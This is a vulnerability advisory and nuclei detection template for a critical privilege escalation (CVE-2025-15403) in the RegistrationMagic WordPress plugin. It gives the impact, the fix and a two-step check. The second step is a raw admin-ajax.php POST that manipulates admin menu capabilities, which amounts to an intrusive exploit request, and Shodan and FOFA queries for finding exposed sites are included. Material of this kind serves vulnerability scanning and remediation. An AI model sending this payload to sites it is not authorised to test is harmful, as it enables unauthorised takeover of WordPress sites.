RegistrationMagic <= 6.0.7.1 - Privilege Escalation

criticalseverity

9.8CVSS score

1.7%likelihood of exploitation, next 30 days

77%of all CVEs are less likely

Readycheck to confirm it

RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.

Impact

Unauthenticated attackers can escalate privileges to gain admin capabilities, potentially compromising the entire WordPress site.

Fix

Update to the latest version beyond 6.0.7.1.

How to confirm it

Send: GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt
Positive when: contains(tolower(body), "registrationmagic") and compare_versions(ver, "<= 6.0.7.1") and status_code == 200
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and !contains(body, "-1") and len(body) <= 5

Run it with nuclei: nuclei -id CVE-2025-15403 -u <target>

The full check

id: CVE-2025-15403

info:
  name: RegistrationMagic <= 6.0.7.1 - Privilege Escalation
  author: 0x_Akoko,pdresearch
  severity: critical
  description: |
    RegistrationMagic WordPress plugin <= 6.0.7.1 contains a privilege escalation caused by improper access control in 'add_menu' via 'rm_user_exists' AJAX action, letting unauthenticated attackers manipulate admin menu capabilities, exploit requires subscriber user for further escalation.
  impact: |
    Unauthenticated attackers can escalate privileges to gain admin capabilities, potentially compromising the entire WordPress site.
  remediation: |
    Update to the latest version beyond 6.0.7.1.
  reference:
    - https://github.com/Nxploited/CVE-2025-15403
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/registrationmagic/
    - https://nvd.nist.gov/vuln/detail/CVE-2025-15403
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-15403
    epss-score: 0.01651
    epss-percentile: 0.76725
    cwe-id: CWE-269
  metadata:
    verified: true
    max-request: 2
    vendor: metagauss
    product: registrationmagic
    framework: wordpress
    fofa-query: body="/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
    shodan-query: http.html:"/wp-content/plugins/custom-registration-form-builder-with-submission-manager/"
  tags: cve,cve2025,wordpress,wp,wp,wp-plugin,registrationmagic,privilege-escalation,intrusive,vkev

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(tolower(body), "registrationmagic")'
          - 'compare_versions(ver, "<= 6.0.7.1")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: ver
        part: body
        group: 1
        regex:
          - '(?i)Stable tag:\s*([\d.]+)'
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=rm_user_exists&rm_slug=rm_options_admin_menu&order=%2Cmenu1&_Subscriber=1&restore=false&enable_admin_order=yes

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - '!contains(body, "-1")'
          - 'len(body) <= 5'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from